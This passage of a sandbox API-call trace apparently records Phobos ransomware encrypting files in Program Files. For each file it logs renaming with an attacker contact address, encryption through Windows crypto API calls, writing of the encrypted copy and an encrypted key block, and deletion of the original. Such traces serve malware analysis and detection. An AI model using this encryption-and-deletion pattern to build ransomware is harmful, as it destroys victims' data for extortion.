pbBuffer=0x2e5fa08) returned 1 [0163.874] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.874] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=5115) returned 1 [0163.874] CloseHandle (hObject=0x2dc) returned 1 [0163.874] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0x20 [0163.874] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.874] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.875] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.875] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=233) returned 1 [0163.875] CloseHandle (hObject=0x2dc) returned 1 [0163.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0x20 [0163.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.875] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.876] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=1920) returned 1 [0163.876] CloseHandle (hObject=0x2dc) returned 1 [0165.152] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0x20 [0165.152] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.152] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.152] SetEvent (hEvent=0x298) returned 1 [0165.152] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0165.152] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0165.153] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=20784) returned 1 [0165.153] CloseHandle (hObject=0x2c4) returned 1 [0165.154] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 0x220 [0165.154] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.154] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0165.154] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0165.154] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0165.154] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0165.155] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d14d0) returned 1 [0165.155] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0165.155] ReadFile (in: hFile=0x2c4, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x5130, lpOverlapped=0x0) returned 1 [0165.171] CryptEncrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x5140, dwBufLen=0x5140 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x5140) returned 1 [0165.171] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x5140, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x5140, lpOverlapped=0x0) returned 1 [0165.173] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1550) returned 1 [0165.173] CryptSetKeyParam (hKey=0x1d1550, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0165.173] CryptEncrypt (in: hKey=0x1d1550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0165.173] CryptDestroyKey (hKey=0x1d1550) returned 1 [0165.173] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0165.173] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0165.173] CloseHandle (hObject=0x2c4) returned 1 [0165.173] CloseHandle (hObject=0x2c8) returned 1 [0165.175] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 1 [0165.177] SetEvent (hEvent=0x298) returned 1 [0165.177] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0165.177] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0165.261] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=24588) returned 1 [0165.261] CloseHandle (hObject=0x2c8) returned 1 [0165.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 0x220 [0165.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0165.262] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0165.263] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0165.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0165.263] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d19d0) returned 1 [0165.263] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0165.263] ReadFile (in: hFile=0x2c8, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x600c, lpOverlapped=0x0) returned 1 [0165.266] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x6010, dwBufLen=0x6010 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x6010) returned 1 [0165.266] WriteFile (in: hFile=0x2c4, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x6010, lpOverlapped=0x0) returned 1 [0165.456] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1a10) returned 1 [0165.456] CryptSetKeyParam (hKey=0x1d1a10, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0165.456] CryptEncrypt (in: hKey=0x1d1a10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0165.456] CryptDestroyKey (hKey=0x1d1a10) returned 1 [0165.456] WriteFile (in: hFile=0x2c4, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0165.457] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0165.457] CloseHandle (hObject=0x2c8) returned 1 [0165.457] CloseHandle (hObject=0x2c4) returned 1 [0165.458] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 1 [0165.460] SetEvent (hEvent=0x298) returned 1 [0165.460] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0165.460] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0165.461] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=14820) returned 1 [0165.461] CloseHandle (hObject=0x2c4) returned 1 [0165.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 0x220 [0165.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.461] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0165.461] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0165.461] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0165.461] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0165.462] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d19d0) returned 1 [0165.462] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0165.462] ReadFile (in: hFile=0x2c4, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x39e4, lpOverlapped=0x0) returned 1 [0165.613] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x39f0, dwBufLen=0x39f0 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x39f0) returned 1 [0165.613] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x39f0, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x39f0, lpOverlapped=0x0) returned 1 [0165.614] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1450) returned 1 [0165.614] CryptSetKeyParam (hKey=0x1d1450, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0165.614] CryptEncrypt (in: hKey=0x1d1450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0165.614] CryptDestroyKey (hKey=0x1d1450) returned 1 [0165.614] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0165.614] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0165.614] CloseHandle (hObject=0x2c4) returned 1 [0165.615] CloseHandle (hObject=0x2c8) returned 1 [0165.616] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 1 [0165.619] SetEvent (hEvent=0x298) returned 1 [0165.619] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0165.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0165.619] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=3632) returned 1 [0165.619] CloseHandle (hObject=0x2c8) returned 1 [0165.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 0x220 [0165.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0165.621] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0165.621] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0165.621] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0165.622] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1610) returned 1 [0165.622] CryptSetKeyParam (hKey=0x1d1610, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0165.622] ReadFile (in: hFile=0x2c8, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0xe30, lpOverlapped=0x0) returned 1 [0165.762] CryptEncrypt (in: hKey=0x1d1610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0xe40, dwBufLen=0xe40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0xe40) returned 1 [0165.762] WriteFile (in: hFile=0x2c4, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xe40, lpOverlapped=0x0) returned 1 [0165.763] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1910) returned 1 [0165.763] CryptSetKeyParam (hKey=0x1d1910, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0165.763] CryptEncrypt (in: hKey=0x1d1910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0165.763] CryptDestroyKey (hKey=0x1d1910) returned 1 [0165.763] WriteFile (in: hFile=0x2c4, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0165.763] CryptDestroyKey (hKey=0x1d1610) returned 1 [0165.763] CloseHandle (hObject=0x2c8) returned 1 [0165.763] CloseHandle (hObject=0x2c4) returned 1 [0165.763] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 1 [0165.765] SetEvent (hEvent=0x298) returned 1 [0165.765] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0165.765] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0165.766] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=3616) returned 1 [0165.766] CloseHandle (hObject=0x2c4) returned 1 [0165.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 0x220 [0165.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0165.766] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0165.766] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0165.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0165.767] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, 